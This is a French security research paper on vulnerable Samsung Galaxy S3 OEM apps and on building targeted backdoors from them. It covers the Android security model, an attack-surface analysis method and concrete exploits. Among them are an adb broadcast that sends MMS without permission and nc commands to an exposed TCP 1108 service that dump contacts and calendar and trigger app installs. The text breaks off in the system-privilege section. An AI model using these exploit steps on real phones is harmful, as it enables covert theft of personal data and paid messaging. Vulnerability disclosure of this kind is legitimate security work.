# Sécurité des applications Android constructeurs et construction de backdoors ciblées

André Moulu
amoulu@quarkslab.com

Quarkslab

**Résumé** Android est le système mobile le plus répandu devant iOS [3]. Sa sécurité est souvent remise en cause par la présence de *malwares*, installés principalement depuis des *markets* alternatifs. Un utilisateur soucieux de sa sécurité et ayant eu un minimum de sensibilisation à la sécurité n'installera pas d'applications provenant de sources non sûres et demandant des permissions *a priori* inutiles à son fonctionnement (envoi de SMS, accès aux emails, etc.). Est-il en sécurité pour autant ?

De nos jours, les *smartphones* de grands constructeurs (Samsung, HTC, Sony, etc.) sont fournis avec une surcouche développée par le constructeur lui-même et offrant une multitude de services, parfois jamais utilisés par un utilisateur lambda. Or, les applications fournissant ces services, dites OEM, ne peuvent être supprimées que par un utilisateur disposant des droits `root` sur son *smartphone*. De plus, la suppression de certaines applications OEM peut entraîner une instabilité, voire un dysfonctionnement du *smartphone*.

La présence de vulnérabilités dans ces applications OEM expose alors les utilisateurs à des attaques ciblées via des *backdoors* nécessitant aucune ou très peu de permissions car réutilisant celles des applications vulnérables. Ces *backdoors* ciblent certes un modèle spécifique, mais ces surcouches des constructeurs sont généralement réutilisées en grande partie dans tous leurs modèles exposant ainsi les équipements récents aux mêmes vulnérabilités. Nous étudierons, dans cet article, le cas du *smartphone* Samsung Galaxy S3, modèle vendu à plus de 50 millions d'exemplaires en mars 2013 [2].

## 1 Introduction à Android

Android n'est pas un système nouveau et de nombreuses introductions à son sujet existent déjà dans la littérature. Par conséquent, nous nous contenterons de rappeler brièvement dans cette partie le format d'une application, les différents composants rencontrés lors de la recherche de vulnérabilités ainsi que le modèle de sécurité mis en place par le système Android. Le lecteur intéressé par une introduction plus approfondie pourra s'orienter vers l'article présentant le modèle de sécurité d'Android dans le numéro 51 du magazine MISC [4] et la présentation faite au SSTIC en 2011 par N.Ruff [5].

### 1.1 Le format d'une application Android

Une application Android prend généralement la forme d'un fichier dont l'extension est `.apk`. Il s'agit cependant d'une simple archive ZIP. Cette archive contient différents éléments dont les plus importants, lors de la recherche de vulnérabilités, sont :

- `AndroidManifest.xml` : un fichier indiquant au système le nom de l'application et les différentes propriétés de celle-ci comme les permissions qu'elle demande, ses composants actifs, etc. ;
- `classes.dex` : le code exécutable de l'application Android sous la forme de *bytecode* Dalvik ;
- les bibliothèques de fonctions `.so` qui sont appelées via JNI (*Java Native Interface*).

Les applications constructeurs (ou OEM) sont généralement localisées dans le dossier `/system/app`. Cependant, les APK associés ne contiennent pas toujours de fichier `classes.dex`. Le code exécutable est alors substitué par un fichier ODEX ayant le même nom que le fichier APK, et dont l'extension est `.odex` (listing 1).

```
shell@android:/system/app # ls
AccuweatherDaemon.apk
AccuweatherDaemon.odex
AccuweatherWidget.apk
AccuweatherWidget.odex
AccuweatherWidget_Main.apk
AccuweatherWidget_Main.odex
AllShareCastWidget.apk
AllShareCastWidget.odex
[...]
```

**Listing 1.** Applications OEM sous la forme d'ODEX

Il s'agit, en réalité, de *bytecode* Dalvik optimisé pour l'équipement, au niveau du *byte order* entre autres, et le temps de chargement de l'application. Puisque c'est un format qui n'est pas pris en charge directement par des outils permettant la conversion de *bytecode* DEX en *bytecode* Java comme `dex2jar` [1], il est nécessaire de passer, au préalable, par une opération de *deodex* afin d'obtenir un fichier DEX sur lequel travailler. Ceci peut se réaliser grâce à l'outil `baksmali` [2].

1. voir `http://code.google.com/p/dex2jar/`.
2. voir `http://code.google.com/p/smali/`.

### 1.2 Les composants classiques d'une application

Une application comporte un ensemble de composants déclarés dans son fichier `AndroidManifest.xml`. Ces composants ont une fonction précise et des caractéristiques qui leurs sont propres.

**Activity** Les `Activity` sont des interfaces graphiques permettant les interactions avec l'utilisateur via des boutons ou des zones de saisies par exemple. Chaque fenêtre affichée à l'utilisateur est en réalité une `Activity`.

**BroadcastReceiver** Les `BroadcastReceiver` sont des composants qui permettent de se mettre à l'écoute de messages, appelés `Intent`, diffusés en *broadcast* par le système ou une application. Le système émet, par exemple, des messages lorsque le *smartphone* vient de démarrer, lorsqu'une carte SD vient d'être insérée ou lors d'un changement de statut de la batterie. Les applications qui souhaitent réagir à ce type d'événements doivent définir un `BroadcastReceiver` en spécifiant le type de messages pour lesquels ils écoutent au travers d'un filtre.

**ContentProvider** Les `ContentProvider` rendent accessible des données provenant de sources arbitraires (base de données distante ou locale SQLite, fichiers dans un dossier spécifique, fichiers XML, etc.) en standardisant leur accès via une interface prédéfinie. Cette interface force les `ContentProvider` à définir des méthodes comme `query()`, `delete()`, `insert()`, `update()`, etc. Ceci permet à une application, d'obtenir par exemple une liste de contacts via un `ContentProvider`, sans avoir à se soucier de la manière avec laquelle cette information est stockée dans le système. C'est le rôle de l'application qui a définie le `ContentProvider` de récupérer l'information et de la retourner au composant appelant.

**Service** Les `Service` sont des composants qui fonctionnent en arrière-plan et permettent des actions sur le long terme. Ces composants ne disposent pas d'interface graphique. Une application email utilisera, par exemple, un service afin de synchroniser le contenu de la boite email à intervalles réguliers.

**Intent** Un `Intent` n'est pas un composant d'une application, mais plutôt un objet que l'on peut assimiler à un message qui comporte une action et

parfois un destinataire explicite et/ou des données arbitraires. Les `Intent` sont émis par le système ou par un composant d'une application, et permettent la communication inter ou intra-application. Ils sont utilisés pour afficher des `Activity`, lancer des `Service` ou encore diffuser des informations à plusieurs composants de type `BroadcastReceiver` à la fois.

Le code du listing 2 permet le lancement de l'`Activity MyActivity`. Il s'agit d'un `Intent` explicite puisque le nom du composant de destination est spécifié en paramètre.

```
startActivity(new Intent(this, MyActivity.class));
```

**Listing 2.** Création d'un `Intent` explicite

Le code du listing 3, quant à lui, émet un `Intent` implicite, puisque nous ne précisons pas le composant destinataire. Le système, en fonction de l'action `Intent.ACTION_VIEW` et des caractéristiques de ses données (le *scheme*, l'*host*, etc.), cherchera l'application la plus apte à gérer cet `Intent`.

```
Intent MyIntent = new Intent(Intent.ACTION_VIEW);
MyIntent.setData(URI.parse("http://quarkslab.com"));
startActivity(MyIntent);
```

**Listing 3.** Création d'un `Intent`

Le mécanisme de sélection du composant de destination à partir d'un `Intent` implicite repose sur des `intent-filter`. Il s'agit d'éléments ajoutés au fichier `AndroidManifest.xml` qui permettent de spécifier le format ou la valeur des champs (`action`, `category`, `data`, etc.) qu'un `Intent` doit respecter pour être reçu par un composant. Chaque composant, hormis les `ContentProvider`, peut spécifier un nombre arbitraire d'`intent-filter`.

Un exemple de `intent-filter` est donné dans le listing 4. L'`intent-filter` est attribué à un `BroadcastReceiver`. Celui-ci indique que le composant `SMSReceiver` écoute les `Intent` ayant pour action `android.provider.telephony.SMS_RECEIVED`.

```
<receiver android:name=".SMSReceiver">
  <intent-filter>
    <action android:name="android.provider.telephony.SMS_RECIEVED"/>
  </intent-filter>
</receiver>
```

**Listing 4.** `intent-filter` attribué à un `BroadcastReceiver`

**Exposition des composants** Par défaut, les différents composants présentés ci-dessus, à l'exception des `ContentProvider`, ne sont pas exportés. Afin qu'ils soient exportés et donc accessibles à n'importe quelle application, il est nécessaire de modifier le fichier `AndroidManifest.xml` pour que ces composants possèdent l'attribut `exported` à `true` ou qu'ils aient un `intent-filter` configuré pour la résolution d'`Intent` implicite. Il convient de remarquer que si un composant est exporté, mais qu'une permission est définie, il ne sera accessible que par les applications possédant cette permission.

Un `ContentProvider` est lui toujours exporté par défaut, jusqu'à la version 17 de l'API Android [1]. Si une application possède l'attribut `minSdkVersion` ou `targetSdkVersion` à 17 ou plus, alors le `ContentProvider` n'est pas exporté par défaut. Pour les versions antérieures, il faut positionner explicitement l'attribut `exported` à `false` si l'on souhaite bloquer l'accès à ce composant en dehors de l'application qui le définit. Un `ContentProvider` a également la spécificité d'avoir une permission contre la lecture et une contre l'écriture via respectivement les attributs `readPermission` et `writePermission`. Un erreur fréquente des développeurs d'applications Android est de protéger un `ContentProvider` via une permission en écriture en pensant qu'elle protégera de la lecture et inversement, exposant ainsi partiellement le `ContentProvider`.

### 1.3 Le modèle de sécurité d'Android

**Un utilisateur par application** La sécurité des applications sous Android repose sur le principe du cloisonnement. Chaque application est signée par un développeur et, par défaut, son installation entraîne la création d'un utilisateur qui sera affecté à cette application sur le système.

Chaque application est, par conséquent, isolée des autres par l'utilisation d'un *uid* différent. Cependant, il est possible de partager l'*uid* d'une autre application, via le mécanisme du `sharedUserId`. Ce cas de figure n'est réalisable que lorsque l'application qui demande à partager l'*uid* d'une autre application est signée par le même certificat que l'application qui possède l'*uid* voulu. Dans le cas où le certificat ayant signé l'application est différent, l'installation échoue.

L'utilisation d'un *uid* par application permet une séparation entre les processus mais également sur le système de fichier. Cependant, ceci ne protège évidemment pas contre la création de fichiers *world readable* ou *world writeable*.

**Le système de permissions** Afin de protéger l'utilisateur contre des applications ayant des actions potentiellement malveillantes [3], mais également pour limiter l'impact en cas de compromission d'une application, chaque application doit demander l'autorisation au système pour réaliser des actions sensibles. Cela se traduit par la présence d'une liste de permissions requises par l'application au sein de son fichier `AndroidManifest.xml`. Un exemple de demande de permissions est détaillé sur le listing 5.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1" android:versionName="1.0" package="com.
    sample">
  [...]
  <uses-permission android:name="android.permission.INTERNET" />
  <uses-permission android:name="android.permission.RECEIVE_SMS" />
  <uses-permission android:name="android.permission.SEND_SMS" />
  <uses-permission android:name="android.permission.READ_SMS" />
  <uses-permission android:name="android.permission.CALL_PHONE" />
</manifest>
```

**Listing 5.** Demande de permissions au système via `AndroidManifest.xml`

Lors de l'installation d'une application, la liste des permissions demandées est affichée à l'utilisateur afin qu'il soit conscient des actions qu'elle peut être amenée à réaliser. L'utilisateur est alors libre d'accepter ou de refuser l'ensemble de ces permissions, sachant qu'il n'est pas possible pour un utilisateur d'en accepter qu'une partie.

Chaque permission demandée a été au préalable définie par le système ou une application tierce. Si ce n'est pas le cas, elle doit être définie dans le fichier `AndroidManifest.xml` de l'application en elle-même. La définition d'une permission permet de lui attribuer :

- un nom unique ;
- un niveau de protection à travers l'attribut `protectionLevel` ;
- une description.

L'attribut `protectionLevel` peut posséder les valeurs suivantes :

- *normal* : il s'agit du niveau le plus bas d'une permission. Les permissions avec ce `protectionLevel` ne sont pas affichées à l'utilisateur lors de l'installation ;
- *dangerous* : les permissions avec ce `protectionLevel` nécessitent l'autorisation explicite de l'utilisateur lors de l'installation ;

3. Ces actions malveillantes peuvent entraîner un coût supplémentaire pour l'utilisateur ou porter atteinte à la confidentialité de ses informations.

– *signatureOrSystem* : les applications utilisant des permissions avec ce `protectionLevel` nécessitent d'avoir été signées par l'application qui a déclaré cette permission ou d'être *uid* `system`, lequel est accessible uniquement par les applications OEM ;
– *signature* : les applications avec ce `protectionLevel` nécessitent d'avoir été signées par l'application qui a déclaré cette permission.

Une permission peut être utilisée par le système pour protéger l'appel de certaines API. Par exemple, `AccountManager.getAccounts()` est protégée par la permission `android.permission.GET_ACCOUNTS`. Une permission peut être également un prérequis pour pouvoir émettre certains `Intent`. Ainsi, l'`Intent android.intent.action.CALL` est protégé par la permission `android.permission.CALL_PHONE`. Enfin, une permission permet également de protéger tout type de composant d'une application Android ; si l'application tierce ne possède pas la permission adéquate, elle ne pourra pas communiquer avec le composant cible. Par exemple, l'accès au `ContentProvider content://contacts` en lecture nécessite la permission `android.permission.READ_CONTACTS`.

Lorsqu'une permission est attribuée à une application, elle est attribuée en réalité à son *uid*. Ceci implique que le code natif exécuté par une application Android via JNI est également soumis aux mêmes permissions que le *bytecode* Dalvik. De plus, chaque application utilisant un `sharedUserId` possède l'ensemble des permissions attribuées à chaque application possédant cette *uid*. Ainsi, une application ne demandant aucune permission mais étant `sharedUserId system`, disposera de l'ensemble des permissions des autres applications ayant l'*uid* `system`.

## 2 Méthodologie suivie

### 2.1 Une grande surface d'attaque

Lorsque l'on cherche à réaliser une *backdoor* ciblant un *smartphone* Android et utilisant très peu, ou voire aucune permission, la surface d'attaque peut se limiter aux dossiers suivants :

– `/system/app`
– `/system/framework`
– `/system/bin`
– `/system/lib`

Ces quatre dossiers contiennent les éléments de base fournis sur un *smartphone* Android. Ainsi, une application vulnérable dans le dossier `/system/app` sera également présente sur l'ensemble des téléphones du

même modèle, intégrant éventuellement les modifications apportées par les opérateurs.

Le périmètre fixé pour cette étude concernait uniquement les dossiers `/system/app` et `/system/framework`. Ces deux dossiers contiennent les applications OEM ainsi que le *framework* Android qui est parfois modifié par le constructeur.

## 2.2 Récupération des éléments nécessaires à l'étude

Dans un premier temps, il est intéressant de rapatrier le contenu des deux dossiers constituant sur la surface d'attaque, `/system/app` et `/system/framework`, mais également `/system/lib` qui contiendra certaines bibliothèques de fonctions natives utilisées par les applications OEM. Ceci peut être réalisé très facilement en utilisant l'outil `adb` [4] comme présenté dans le listing 6 :

```
$ adb pull /system/app app/
$ adb pull /system/framework framework/
$ adb pull /system/lib lib/
```

**Listing 6.** Récupération des éléments constituant la surface d'attaque

La majorité des applications OEM récupérées, tout comme les fichiers du dossier `/system/framework`, sont au format ODEX. Pour pouvoir utiliser la plupart des outils d'analyse et d'instrumentation qui existent pour Android, il faut les convertir en fichier DEX standard puis les placer sous le nom de `classes.dex` dans le fichier APK correspondant. Le script shell présenté dans le listing 7 permet l'automatisation de cette procédure.

```
#!/bin/bash
for i in $(ls app/*.odex);
do
    i=$(basename $i);
    APPNAME=${i%.*};
    echo -n "$i ";
    (baksmali -x app/$i -o app/$APPNAME -d framework && smali app/
        $APPNAME -o app/classes.dex && zip -j -q app/$APPNAME.apk app/
        classes.dex && rm app/classes.dex && echo "ok") || echo "echec";
done
```

**Listing 7.** Deodex chaque fichier `.odex` et reconstruit un APK avec un fichier `classes.dex`

4. `adb` pour *Android Debug Bridge*. Cet outil est fourni dans le SDK Android.

### 2.3 La recherche de vulnérabilités

Bien que la surface d'attaque ne soit constituée que de deux dossiers, elle reste énorme. Le dossier `/system/app` comptabilise à lui seul 216 applications. Il a fallu automatiser la recherche d'applications potentiellement vulnérables, et la détection de modifications dangereuses sur des éléments standards comme le *framework*.

Les contraintes fixées au début de cette recherche étaient de pouvoir exploiter ces vulnérabilités sans utiliser de permission, ou un minimum de permissions.

Pour pouvoir exploiter une vulnérabilité dans une application tierce, il faut soit provoquer une action qui l'active puis parvenir à une fonction vulnérable, soit communiquer directement avec un de ses composants. Ces communications s'effectuent à travers les `Intent` et sont soumises à des règles :

- Il est possible de communiquer avec un composant que si celui-ci est exporté et non protégé par une permission ;
- Certains composants sont exposés par défaut jusqu'à une certaine version du SDK ;
  - L'application est elle compilée pour une version du SDK « vulnérable » ?
- ...

L'énumération des composants exportés peut se réaliser en grande partie depuis le fichier `AndroidManifest.xml` d'une application. Un script python nommé `A3SA` (*Android Application Attack Surface Analyzer*) a été développé. Il permet d'analyser le contenu du fichier `AndroidManifest.xml` et d'appliquer les différentes règles sur chacun des composants (en fonction de leur type) afin de savoir s'il est exporté et sous quelle(s) condition(s).

Cependant, se baser uniquement sur le fichier `AndroidManifest.xml` ne suffit pas pour détecter la totalité des composants d'une application. Il est en effet possible d'enregistrer dynamiquement des composants de type `BroadcastReceiver`, et ces derniers n'ont pas à être déclarés dans le fichier `AndroidManifest.xml`.

Le script `A3SA` permet également de détecter des éléments intéressants pour la recherche de vulnérabilités, comme l'utilisation d'API permettant l'exécution de commandes shell (`Runtime.exec()` et `ProcessBuilder.start()`), l'utilisation de JNI ou la création d'une *socket* en écoute. Notre script s'appuie pour cela sur le *framework* Androguard.

L'ensemble des applications a été analysé sommairement par `A3SA` et inséré dans une base de données de type NoSQL. Ceci permet

d'obtenir l'état global du système et de réaliser des requêtes intéressantes lorsque l'on effectue de la recherche de vulnérabilités. Il est, par exemple, très simple de rechercher l'ensemble des applications qui ont la permission `INSTALL_PACKAGES` ou l'ensemble des applications qui ont un attribut `sharedUserId` ayant pour valeur `android.uid.system` (listing 8). Il est également intéressant de prendre en compte, dans notre recherche, si certaines permissions sont réellement utilisées. Dans le cas d'`INSTALL_PACKAGES`, si une application invoque `PackageManager.installPackage()`, il est alors intéressant de trouver son utilisation dans le code de l'application, afin de vérifier s'il existe un moyen d'amener l'application à exécuter la portion de code concernée. Si l'application n'appelle pas `PackageManager.installPackage()`, il sera nécessaire de trouver un moyen d'exécuter du code arbitraire dans le contexte de l'application pour pouvoir utiliser la permission `INSTALL_PACKAGES`.

```
# Recuperation des applications avec pour permission INSTALL_PACKAGES
> db.gs3.find({permission:/INSTALL_PACKAGES/},{filename:1,_id:0})
{ "filename" : "DttSupport.apk" }
{ "filename" : "Kies.apk" }
{ "filename" : "MtpApplication.apk" }
{ "filename" : "PackageInstaller.apk" }
{ "filename" : "Phonesky.apk" }
{ "filename" : "PreloadInstaller.apk" }
{ "filename" : "SamsungApps.apk" }
{ "filename" : "SamsungAppsUNA3.apk"  }
{ "filename" : "Samsungservice.apk" }
{ "filename" : "SSuggest.apk" }
{ "filename" : "TMServerApp.apk" }
# Distinction entre les applications qui demandent juste
    INSTALL_PACKAGES et celles qui utilisent également PackageManager.
    installPackage()
> db.gs3.find({permission:/INSTALL_PACKAGES/},{filename:1,_id:0}).count
    ()
11
> db.gs3.find({permission:/INSTALL_PACKAGES/,use_installPackage:true},{
    filename:1,_id:0}).count()
10
# MtpApplication.apk n'utilise pas PackageManager.installPackage()
> db.gs3.find({permission:/INSTALL_PACKAGES/,use_installPackage:false},{
    filename:1,_id:0})
{ "filename" : "MtpApplication.apk" }
# Compte le nombre d'application sharedUserId system
> db.gs3.find({"manifest.sharedUserId":"android.uid.system"},{}).count()
41
```

**Listing 8.** Exemples de requêtes réalisables sur la base de données NoSQL

Cette base de données permet également de comparer plusieurs versions d'un système (issues de la mise à jour du *firmware*, de ROMs pro-

venant de différents opérateurs téléphoniques, etc.) afin de vérifier la correction (ou non) de vulnérabilités via la mise en place de permissions plus restreintes ou d'autres protections.

## 3 Conception d'une backdoor ciblée pour le Galaxy S3

Cette partie présente quelques vulnérabilités découvertes durant l'étude du Samsung Galaxy S3. Il s'agit de vulnérabilités qui ont été corrigées durant cette étude ou qui ont le plus de chance d'être corrigées d'ici la publication de cet article. Dans le cas où certaines vulnérabilités présentées ne sont pas corrigées par Samsung, l'auteur mettra à disposition des utilisateurs des solutions permettant de corriger ces vulnérabilités.

### 3.1 Envoi de SMS/MMS sans permission et exfiltration de fichiers

La majorité des *malwares* sous Android ne font qu'envoyer des SMS surtaxés. Afin d'infecter la maximum de personnes, les créateurs de *malwares* injectent leur code dans une application payante populaire (comme un jeu) et le redistribuent gratuitement sur des *markets* alternatifs.

Le fait qu'un jeu demande la permission d'envoyer des SMS peut paraître suspect. En revanche, être capable d'envoyer des SMS surtaxés, sans demander explicitement une permission via le fichier `AndroidManifest.xml` (donc, à l'insu de l'utilisateur) serait donc intéressant pour des *malwares*. En effet, ceux-ci seraient plus furtifs et, par conséquent, pourraient infecter plus de personnes avant d'être éventuellement détectés.

La vulnérabilité présentée ici est issue de l'application `SecMms.apk`. Celle-ci expose un `BroadcastReceiver` nommé `ui.MmsBGSender`, dont la méthode `onReceive()` est appelée à la réception d'un `Intent` avec pour action `com.android.mms.QUICKSND` (listing 9).

```
public void onReceive(Context context, Intent intent) {
  Log.v("MMSBGSender", "onReceive");
  if(intent.getAction().equals("com.android.mms.QUICKSND")) {
    Log.i("MMSBGSender", "Bacvkground  Sending for quick send");
    if(intent.getStringExtra("mms_to") != 0) {
      Log.i("MMSBGSender", "Sending MMS in background for Quick Send.");
      new MMSRequestHandler(paramContext).doInBackground(new Intent[] {
          intent });
    } else {
      Log.i("MMSBGSender", "Starting Activity for Quick Send.");
      sendQuickmessage(context, intent);
    }
  }
```

```
}
```

**Listing 9.** Méthode `onReceive()` du `BroadcastReceiver ui.MmsBGSender`

Comme le montre le code, à la réception d'un `Intent`, si l'action est `com.android.mms.QUICKSND` et si aucun numéro n'est passé en paramètre (`mms_to`), une `Activity` est lancée pour que l'utilisateur puisse compléter/saisir son message. Dans le cas où un numéro est spécifié en paramètre, une instance de l'objet `MMSRequestHandler` est créée et sa méthode `doInBackground()` est appelée avec l'`Intent` en paramètre (listing 10).

```
protected Void doInBackground(Intent[] paramArrayOfIntent)
{
  Intent localIntent = paramArrayOfIntent[0];
  [...]
  Log.i("MMSBGSender", "MMSRequestHandler doInBackground method invoked"
      );
  if (localIntent.getAction().equals("com.android.mms.QUICKSND"))
  {
    String str = localIntent.getStringExtra("mms_to");
    if ((str != null) && (str.length() > 1))
    {
      mToAddress = str.split(";");
      Convert(mToAddress);
    }
    mSubject = localIntent.getStringExtra("mms_subject");
    mAppName = localIntent.getStringExtra("mms_appname");
    mMsgID = localIntent.getStringExtra("mms_msgid");
    mMsgText = localIntent.getStringExtra("mms_text");
    mImageFileName = localIntent.getStringExtra("mms_image");
    [...]
    mImageUri = (Uri)localIntent.getParcelableExtra("mms_image_uri");
    [...]
    mIsSaveAction = localIntent.getBooleanExtra("mms_save", false);

    try
    {
      SendMMS();
      return null;
    } catch (Exception localException) {
      Log.e("MMSBGSender", "Exception caught", localException);
    }
  }
  [...]
}
```

**Listing 10.** Méthode `doInBackground()` de `MMSRequestHandler`

Celle-ci se contente de récupérer les différents paramètres optionnels que peut contenir l'`Intent`, comme le sujet du MMS, son contenu ou

le chemin vers des fichiers à attacher en pièce-jointe et envoie ce MMS grâce à la méthode `SendMMS()`.

Il suffit donc d'émettre un `Intent` en *broadcast* avec les paramètres adéquats pour générer l'envoi d'un MMS arbitraire sans posséder aucune permission :

```
adb shell am broadcast -a com.android.mms.QUICKSND --es mms_to "*
    TELEPHONE*" --es mms_subject "*SUJET*" --es mms_text "*MESSAGE*"
```

**Listing 11.** Exemple d'`Intent` permettant l'envoi d'un MMS sans permission

### 3.2 Obtention des droits de type CRUD sur les SMS, MMS, Contacts, etc.

La vulnérabilité ci-dessous est un bon exemple de ce que l'on peut trouver parmi les applications OEM. Avec très peu de permissions, il est possible de réaliser de nombreuses actions normalement protégées. Pour exploiter la vulnérabilité que nous allons décrire dans cette sous-section, la permission `INTERNET` suffit. Après de nombreux mois d'existence [5], celle-ci a été corrigée durant l'étude sur le Samsung Galaxy S3. Cependant, la correction n'a pas été appliquée à tous les équipements Samsung utilisant cette application (voir section 4).

L'application `wssyncmlnps.apk` expose un `BroadcastReceiver` nommé `smlNpsReceiver` qui répond à des `Intent` relatifs à Kies [6] comme `com.intent.action.KIES_WSSERVICE_START` ou `com.intent.action.KIES_WSSERVICE_START_WIFI`.

L'analyse de la méthode `onReceive()` du `BroadcastReceiver` permet de voir que le service `smlNpsService` est lancé à la réception d'un `Intent` ayant comme action `com.intent.action.KIES_WSSERVICE_START` (listing 12).

```
public void onReceive(Context paramContext, Intent paramIntent)
{
  [...]
  if(paramIntent.getAction().
     equals("com.intent.action.KIES_WSSERVICE_START"))
  {
    smlDebug.SML_DEBUG(2, "KIES_WSSERVICE_START");
    wifi_connected = false;
    usb_connected = true;
```

5. Nous pensons que cette vulnérabilité date de la sortie du Samsung Galaxy S2.
6. Kies est l'équivalent d'iTunes pour les équipements Samsung.

```
    paramContext.stopService(
      new Intent(paramContext, smlNpsService.class)
    );
    paramContext.startService(
      new Intent(paramContext, smlNpsService.class)
    );
  }
  [...]
}
```

**Listing 12.** Lancement du service `smlNpsService` lors de la réception d'un `Intent KIES_WSSERVICE_START`

Ce service, lorsqu'il est démarré, exécute la méthode `NpsServiceTask` dans un *thread* qui se positionne en écoute sur le port TCP 1108. Chaque connexion reçue sur ce port est traitée dans un *thread* par l'objet `smlNpsHandler`. Il est alors possible, depuis une application malveillante, de réaliser des actions privilégiées en emettant les données adéquates sur le port TCP 1108. Dans cet exemple, l'application malveillante requiert uniquement la permission `INTERNET` nécessaire à la création d'une *socket* sous Android.

La méthode `work()` de `smlNpsHandler` récupère 3 octets sur la socket et les interprète comme l'identifiant d'une commande à exécuter à travers une structure de contrôle `switch` (listing 13). Selon la commande à appeler, l'interprétation des 3 octets qui suivent diffère.

```
protected void work()
{
  if(this.socket != 0)
  {
    socketIS = this.socket.getInputStream();
    socketOS = this.socket.getOutputStream();
    cmdLine = this.readLine(socketIS);
    if((cmdLine != 0) && (cmdLine.length() != 0))
    {
      cmdInformation = new String[3];
      v5 = cmdLine.indexOf("BEGIN");
      cmdInformation[0] = cmdLine.substring(0, 3);
      if(v5 <= 3) {
        cmdInformation[1] = cmdLine.substring(3, cmdLine.length());
      } else {
        cmdInformation[1] = cmdLine.substring(3, v5);
        cmdInformation[2] = cmdLine.substring(v5, cmdLine.length());
      }
      v5 = Integer.valueOf(cmdInformation[0]).intValue();
      switch(v5){ // prise en compte du code commande
[...]
}
```

**Listing 13.** Parsing des données reçues sur la *socket*

Le listing 14 présente des exemples de méthodes pouvant être appelées à travers la *socket* :

```
case 70:
  // recuperation du contact dont l'id est cmdInformation[1]
  v1 = this.GetContact(cmdInformation[1]);
  v2 = 0;
  break;
[...]
case 72:
  // recuperation de la liste des id des contacts sur le telephone
  v1 = this.GetContactsIndexArray(
    com.wssnps.database.smlContactItem$StorageType.
        SMLDS_PIM_ADAPTER_CONTACT_PHONE.getId());
  v2 = 0;
  break;
[...]
case 90:
  // recuperation de l'entree cmdInformation[1] dans le calendrier
  v1 = this.GetCalendar(cmdInformation[1]);
  v2 = 0;
  break;
[...]
case 453:
  // installation des APK presents dans /sdcard/restore/
  v1 = Integer.valueOf(cmdInformation[1].trim()).intValue();
  if(v1 <= 0) {
    v1 = "-1\x0aERROR:length is 0\x0a";
    v2 = 0;
  } else {
    v1 = this.readByte(socketIS, v1);
    if(v1 != 0) {
      v0 = com.wssnps.database.smlBackupRestoreItem.
          RestoreApplicationStart(v1);
      if(v0 != 0) {
        v1 = new StringBuilder().append(
          String.valueOf(v0.length)
        ).append("\x0a").toString();
        v2 = 0;
      } else {
        v1 = "-1\x0aERROR:outBuf is null\x0a";
        v2 = 0;
      }
    } else {
      v1 = "-1\x0aERROR:read bytes.\x0a";
      v2 = 0;
    }
  }
  break;
[...]
```

**Listing 14.** Exemple de commandes reconnues par la méthode `work()`

Par exemple, la commande **453** permet l'installation de fichiers APK situés dans le dossier `/sdcard/restore` par l'émission d'un `Intent` en *broadcast* avec pour action

`com.intent.action.KIES_START_RESTORE_APK`. L'`Intent` émis sera reçu et traité par l'application `Kies.apk`.

Aujourd'hui, cette vulnérabilité a été corrigée en ajoutant une permission sur l'`intent-filter` concernant l'action `com.intent.action.KIES_WSSERVICE_START`. La permission définie est `android.permission.COM_WSSNPS` qui a son `protectionLevel` positionné à *signatureOrSystem*.

Le listing 15 montre la récupération d'informations depuis le service en écoute. Les éléments en rouge sont les données envoyées par l'attaquant :

```
$ adb shell am broadcast -a com.intent.action.KIES_WSSERVICE_START
Broadcasting: Intent { act=com.intent.action.KIES_WSSERVICE_START }
Broadcast completed: result=0
$ adb shell netstat |grep 1108
tcp6 0 0 :::1108 :::* LISTEN
$ adb forward tcp:1108 tcp:1108
$ nc localhost 1108 -v
Connection to localhost 1108 port [tcp/*] succeeded!

090 1 # getCalendar(1)
0
BEGIN:VCALENDAR
VERSION:1.0
BEGIN:VEVENT
SUMMARY;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Sstic 2013
DESCRIPTION;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Conf
LOCATION;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Rennes
DTSTART:20130605T170000Z
DTEND:20130607T180000Z
X-ALLDAY:UNSET
X-CALENDARGROUP:1
UID:0000000000000000000000000000000000000000000000001
END:VEVENT
END:VCALENDAR

072# permet de recuperer la liste des id des contacts sur le telephone (
    pas la SIM)
0
2 # nombre de contacts
8,9, # id des contacts

070 9# getContact(9)
0
BEGIN:VCARD
VERSION:2.1
N;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:;Kevin;;;;;;
TEL;HOME;CELL:06 06 06 06 06
EMAIL;HOME;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:kevin@hotmail.com
X-DIRTY:1
X-ACCOUNT:vnd.sec.contact.phone;vnd.sec.contact.phone
END:VCARD
```

```
453 32 # permet l'installation des APK present dans le dossier /sdcard/
    restore/ via la fonction RestoreApplicationStart()
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

**Listing 15.** Récupération d'informations via le service en écoute

En communicant avec le service [7], il est possible de réaliser les actions suivantes (liste non exhaustive) :

- envoyer, lire, modifier, supprimer des SMS/MMS ;
- ajouter, lire, modifier, supprimer des contacts/mémo/entrées du calendrier/journal d'appel ;
- réaliser un *backup* des différents éléments comme les comptes emails ;
- installer une application arbitraire [8].

### 3.3 Obtention des privilèges `system`

**Présentation de la vulnérabilité** L'élévation de privilèges est quelque chose de recherché lors du développement d'une *backdoor*. Android étant fondé sur Linux, le plus haut niveau d'utilisateur est `root` (uid=0). Cependant, obtenir les droits `root` n'est pas forcément nécessaire. En effet, il existe un autre utilisateur privilégié dans Android, inférieur à `root`, dont le nom est `system` (uid=1000). Seules les applications OEM qui le demandent peuvent obtenir cet *uid* [9] et ainsi pouvoir utiliser les permissions critiques protégées par un `protectionlevel` à *signatureOrSystem*, comme la permission `INSTALL_PACKAGES` qui permet l'installation d'une application arbitraire sans interaction avec l'utilisateur.

Obtenir l'*uid* `system` nécessite soit l'exploitation d'une vulnérabilité dans un binaire lancé en tant que `system`, soit l'exploitation d'une application OEM dont l'attribut `sharedUserId` présent dans le fichier `AndroidManifest.xml` est à `com.android.system`.

Il est également possible de restreindre le périmètre, en n'examinant que les applications OEM réalisant de l'exécution de code dynamique. Ceci concerne, par exemple, le chargement de *bytecode* DEX à la volée via `DexClassLoader`, l'utilisation du `Javascript Bridge` à travers les `WebViews` ou l'exécution de commandes *shell* via `Runtime.exec()`.

